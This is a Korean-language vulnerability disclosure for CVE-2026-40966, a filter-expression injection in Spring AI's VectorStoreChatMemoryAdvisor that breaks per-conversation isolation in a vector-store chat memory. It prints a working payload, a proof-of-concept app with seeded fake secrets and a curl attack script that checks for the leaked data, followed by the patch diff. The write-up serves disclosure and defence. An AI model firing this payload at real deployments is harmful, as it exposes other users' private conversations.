CVE-2026-40966Write-up

CVE-2026-40966: Spring AI VectorStoreChatMemoryAdvisor 대화 격리 우회로 인한 cross-tenant 메모리 노출

Spring AICVESecurityInjectionRAG
TL;DR

VectorStoreChatMemoryAdvisor.before()는 대화별 메모리를 분리하기 위해 "conversationId=='" + conversationId + "'" 형태로 필터 표현식을 만듭니다. conversationId는 클라이언트 요청에서 그대로 넘어오는 값이고, 이스케이프도 검증도 없습니다. x' || conversationId!=' 같은 payload 하나로 필터가 무력화되면, VectorStore에 저장된 다른 사용자의 대화 전체가 응답 컨텍스트로 들어올 수 있는 대상이 됩니다.


배경

Spring AI는 LLM 애플리케이션을 Spring 스타일로 묶어 주는 프레임워크입니다. 그 안에 ChatClient가 있고, ChatClient의 동작을 가로채 메시지를 가공하는 확장 지점이 Advisor입니다. 로그를 남기거나, 프롬프트를 치환하거나, 외부 소스에서 컨텍스트를 끌어와 프롬프트에 얹는 용도로 씁니다.

VectorStoreChatMemoryAdvisor는 그중에서도 장기 대화 메모리를 담당합니다. 사용자가 메시지를 하나 보내면 어드바이저가 다음 일을 합니다:

  1. 요청 컨텍스트에서 conversationId를 꺼낸다.
  2. VectorStore에서 그 대화에 속한 과거 메시지들을 유사도 검색으로 top-K개 뽑아 온다.
  3. 뽑아 온 메시지를 시스템 프롬프트에 "LONG_TERM_MEMORY" 블록으로 붙여 LLM에 보낸다.
  4. 응답이 돌아오면 이번 턴의 user/assistant 메시지를 같은 conversationId 메타데이터와 함께 VectorStore에 적재한다.

"대화마다 기억을 따로 관리한다"는 요구사항은, 결국 VectorStore 안의 문서를 conversationId 메타데이터로 필터링하는 작업으로 내려갑니다. 그리고 Spring AI의 모든 VectorStore 구현체는 공통으로 FilterExpressionTextParser라는 ANTLR4 기반 DSL 파서를 씁니다. 필터를 field=='value' 같은 문자열로 표현하면, 그게 각 백엔드(PgVector, Redis, Chroma, ...)의 네이티브 질의로 번역되는 구조입니다.

여기까지가 정상 동작입니다. 문제는, 그 필터 문자열을 어떻게 만드는지에 있었습니다.

취약점

VectorStoreChatMemoryAdvisor.before()의 필터 생성 로직은 다음과 같습니다:

@Override
public ChatClientRequest before(ChatClientRequest request, AdvisorChain advisorChain) {
    String conversationId = getConversationId(request.context(), this.defaultConversationId);
    String query = Objects.requireNonNullElse(request.prompt().getUserMessage().getText(), "");
    int topK = getChatMemoryTopK(request.context());
    String filter = DOCUMENT_METADATA_CONVERSATION_ID + "=='" + conversationId + "'";
    SearchRequest searchRequest = SearchRequest.builder().query(query).topK(topK).filterExpression(filter).build();
    List<Document> documents = this.vectorStore.similaritySearch(searchRequest);
    // ...
}

필터 문자열은 "conversationId=='" + conversationId + "'"로 만들어지고, 그대로 SearchRequest.builder().filterExpression(filter)에 전달됩니다. conversationId의 출처는 BaseChatMemoryAdvisor.getConversationId()로, 어드바이저 파라미터 맵(ChatMemory.CONVERSATION_ID 키)에서 값을 꺼내 올 뿐 검증이나 이스케이프는 없습니다. 그리고 그 파라미터 맵에 값을 넣는 주체는 바로 애플리케이션 코드입니다.

Spring AI 공식 문서와 대부분의 튜토리얼은 이렇게 쓰도록 안내합니다:

chatClient.prompt()
    .user(request.getMessage())
    .advisors(a -> a.param(ChatMemory.CONVERSATION_ID, request.getConversationId()))
    .call()
    .content();

요청 바디의 conversationId가 그대로 어드바이저 파라미터로, 다시 필터 문자열로 들어갑니다. 검사 없는 외부 입력을 문자열로 이어붙여 파서에 넘긴다는 점에서 SQL Injection과 정확히 같은 구조이고, 다만 파서가 받는 언어가 SQL이 아닌 VectorStore 필터 DSL일 뿐입니다.

Payload

Spring AI의 필터 DSL은 동등/부등 비교와 논리 연산자를 지원합니다. 정상적인 필터:

conversationId=='alice-session-1'

이제 공격자가 conversationId 값으로 다음을 보냅니다:

x' || conversationId!='

문자열 결합의 결과로 만들어지는 필터는 이렇게 바뀝니다:

conversationId=='x' || conversationId!=''

FilterExpressionTextParser(ANTLR4)는 이걸 OR(EQ("conversationId", "x"), NE("conversationId", ""))로 파싱합니다. 오른쪽 항 conversationId != ''conversationId가 존재하는 모든 문서에 매칭됩니다. 즉 필터가 사실상 무력화된 상태입니다. VectorStore는 전체 문서에 대해 유사도 검색을 수행하고, top-K(기본값 20) 문서가 돌아옵니다. 이 문서들은 모두 LONG_TERM_MEMORY 블록에 합쳐져 시스템 프롬프트에 들어가고, LLM은 그 컨텍스트를 근거로 응답을 생성합니다. 응답 본문에 다른 사용자의 대화 내용이 자연스럽게 섞이게 됩니다.

Loading diagram…

이 취약점은 특정 VectorStore 백엔드에 국한되지 않습니다. 주입은 필터 DSL 텍스트 단계에서 일어나고, 백엔드별(PostgreSQL, Redis, Chroma, ...) 네이티브 질의로 번역되기 이전에 이미 필터가 뒤집힌 상태이기 때문입니다. spring-ai-advisors-vector-store 1.0.0 이상 모든 버전, 모든 VectorStore 구현이 영향받습니다.

PoC

재현 환경은 Spring Boot 3.4.4 + Spring AI 1.1.0-M1, VectorStore는 PgVector입니다. 엔드포인트는 POST /chat 하나뿐이고, 공식 문서가 안내하는 그대로 요청 바디의 conversationId를 어드바이저 파라미터로 넘깁니다:

@PostMapping("/chat")
public Map<String, String> chat(@RequestBody Map<String, String> req) {
    String response = chatClient.prompt()
        .user(req.get("message"))
        .advisors(a -> a.param(ChatMemory.CONVERSATION_ID, req.get("conversationId")))
        .call()
        .content();
    return Map.of("response", response);
}

ChatClient는 VectorStoreChatMemoryAdvisor를 기본 어드바이저로 등록한 상태입니다:

@Bean
ChatClient chatClient(VectorStore vectorStore) {
    return ChatClient.builder(new FakeChatModel())
        .defaultSystem("You are a helpful assistant.")
        .defaultAdvisors(VectorStoreChatMemoryAdvisor.builder(vectorStore).build())
        .build();
}

외부 API 키 없이 재현할 수 있도록 EmbeddingModelChatModel은 Fake 구현으로 교체했습니다. FakeEmbeddingModel은 모든 입력에 대해 동일한 벡터를 반환하므로 유사도 점수가 균일해지고, 필터 조건을 만족하는 모든 문서가 top-K 후보로 들어옵니다. FakeChatModel은 시스템 프롬프트를 응답으로 그대로 echo해 줍니다. 누출된 메모리가 HTTP 응답에서 즉시 보이도록 하기 위한 장치일 뿐, 실제 LLM을 붙여도 "그 컨텍스트를 받은 LLM이 어떤 형태로 노출하느냐"의 차이일 뿐 원인 경로는 바뀌지 않습니다. mocking 지점이 모두 취약 경로(VectorStoreChatMemoryAdvisor.before()) 이후에 있기 때문입니다.

컨테이너가 올라오면서 세 사용자의 대화가 시드로 적재됩니다:

vectorStore.add(List.of(
    new Document("User: What is my account balance?",
        Map.of("conversationId", "alice-session-1", "messageType", "USER")),
    new Document("Assistant: Your balance is $42,000.",
        Map.of("conversationId", "alice-session-1", "messageType", "ASSISTANT"))
));
vectorStore.add(List.of(
    new Document("User: Show me my SSN on file.",
        Map.of("conversationId", "bob-session-1", "messageType", "USER")),
    new Document("Assistant: Your SSN is 123-45-6789.",
        Map.of("conversationId", "bob-session-1", "messageType", "ASSISTANT"))
));
vectorStore.add(List.of(
    new Document("User: What is the admin password?",
        Map.of("conversationId", "charlie-session-1", "messageType", "USER")),
    new Document("Assistant: The admin password is P@ssw0rd123.",
        Map.of("conversationId", "charlie-session-1", "messageType", "ASSISTANT"))
));

공격 스크립트는 다섯 단계로 진행됩니다. 앞의 세 단계는 baseline으로, 각 사용자가 자기 conversationId로 요청했을 때 자기 대화만 보이는지 확인합니다. 네 번째 단계에서 payload를 쏩니다:

echo "[1] Alice — own session"
curl -s -X POST "$BASE/chat" -H "Content-Type: application/json" \
  -d '{"conversationId":"alice-session-1","message":"hello"}' | python3 -m json.tool

echo "[2] Bob — own session"
curl -s -X POST "$BASE/chat" -H "Content-Type: application/json" \
  -d '{"conversationId":"bob-session-1","message":"hello"}' | python3 -m json.tool

echo "[3] Charlie — own session"
curl -s -X POST "$BASE/chat" -H "Content-Type: application/json" \
  -d '{"conversationId":"charlie-session-1","message":"hello"}' | python3 -m json.tool

echo "[4] Exploit — injected conversationId"
RESP=$(curl -s -X POST "$BASE/chat" -H "Content-Type: application/json" \
  -d "{\"conversationId\":\"x' || conversationId!='\",\"message\":\"hello\"}")
echo "$RESP" | python3 -m json.tool

echo "[5] Verify"
TEXT=$(echo "$RESP" | python3 -c "import sys,json; print(json.load(sys.stdin).get('response',''))")
for keyword in "42,000" "123-45-6789" "P@ssw0rd123"; do
  echo "$TEXT" | grep -q "$keyword" && echo "  $keyword: LEAKED" || echo "  $keyword: not found"
done

정상 동작이라면 공격자의 응답에는 존재하지 않는 conversationId로 필터링된 결과, 즉 빈 메모리만 들어가야 합니다. 취약한 빌드에서는 Alice의 계좌 잔액, Bob의 주민번호, Charlie의 관리자 비밀번호가 공격자의 응답에 한꺼번에 들어 있습니다:

[5] Verify
  42,000: LEAKED
  123-45-6789: LEAKED
  P@ssw0rd123: LEAKED

공격자는 다른 누구의 conversationId도 알 필요가 없습니다. 필터가 무력화된 시점부터 VectorStore의 모든 문서가 응답 컨텍스트로 들어올 수 있는 대상이 됩니다.

전제 조건과 영향

취약점이 활성화되는 조건은 다음 두 가지입니다:

  1. VectorStoreChatMemoryAdvisor가 ChatClient에 등록돼 있고, 여러 사용자의 대화가 공유되는 VectorStore를 백엔드로 쓸 것.
  2. 요청 바디/쿼리/path variable에서 온 conversationId를 별도의 소유권 검증 없이 ChatMemory.CONVERSATION_ID에 바로 실어 넘길 것.

필터가 무력화된 뒤부터는 VectorStore에 적재된 다른 사용자의 대화 전체가 응답 컨텍스트로 들어올 수 있는 대상이 됩니다. 응답에 섞여 나올 수 있는 항목은 다른 사용자의 user 메시지 전문, assistant 응답 전문, 해당 문서의 메타데이터(conversationId, messageType 등)입니다. 한 요청당 노출되는 양은 유사도 상위 몇 개로 제한되지만, 쿼리를 바꿔 호출하면 정렬이 달라지면서 다른 문서가 떠오릅니다.

패치

conversationId를 DSL 문자열에 끼워 넣어 파서로 보내던 자리가, 구조화된 Filter.Expression을 프로그래매틱하게 만드는 호출로 교체됐습니다:

 import org.springframework.ai.document.Document;
 import org.springframework.ai.vectorstore.SearchRequest;
 import org.springframework.ai.vectorstore.VectorStore;
+import org.springframework.ai.vectorstore.filter.FilterExpressionBuilder;
 import org.springframework.util.Assert;

 ...

 public ChatClientRequest before(ChatClientRequest request, AdvisorChain advisorChain) {
     String conversationId = getConversationId(request.context(), this.defaultConversationId);
     String query = Objects.requireNonNullElse(request.prompt().getUserMessage().getText(), "");
     int topK = getChatMemoryTopK(request.context());
-    String filter = DOCUMENT_METADATA_CONVERSATION_ID + "=='" + conversationId + "'";
+    var filter = new FilterExpressionBuilder().eq(DOCUMENT_METADATA_CONVERSATION_ID, conversationId).build();
     SearchRequest searchRequest = SearchRequest.builder().query(query).topK(topK).filterExpression(filter).build();
     List<Document> documents = this.vectorStore.similaritySearch(searchRequest);

FilterExpressionBuilder().eq(field, value).build()Filter.Expression 객체를 직접 만들어 반환합니다. value는 expression tree의 리프 노드에 리터럴로 들어가고, FilterExpressionTextParser를 거치지 않습니다. conversationId에 어떤 문자가 들어 있어도 DSL 구문으로 재해석될 경로 자체가 없어집니다.

수정은 1.0.x 라인은 1.0.6, 1.1.x 라인은 1.1.5로 백포트돼 릴리스됐습니다. 영향받는 버전 범위는 1.0.0 ~ 1.0.5, 1.1.0 ~ 1.1.4입니다.

정리

SQL, MongoDB 쿼리, Elasticsearch query string, 그리고 이번 케이스의 VectorStore 필터처럼 DSL이 끼어 있는 경로에서 외부 입력이 문자열 결합으로 들어가는 한, 같은 모양의 injection이 가능합니다. 격리의 기준이 되는 식별자가 그런 경로를 따라 파서까지 내려간다면, 한 군데의 결합 자리가 격리 자체를 무효화시킬 수 있습니다.

타임라인

날짜내용
2026년 4월 16일GitHub Security Advisory로 Spring AI 팀에 제보
2026년 4월 16일제보 확인, CVE 발급 착수
2026년 4월 27일Spring AI 1.0.6 / 1.1.5 릴리스, CVE-2026-40966 공개
〜〜〜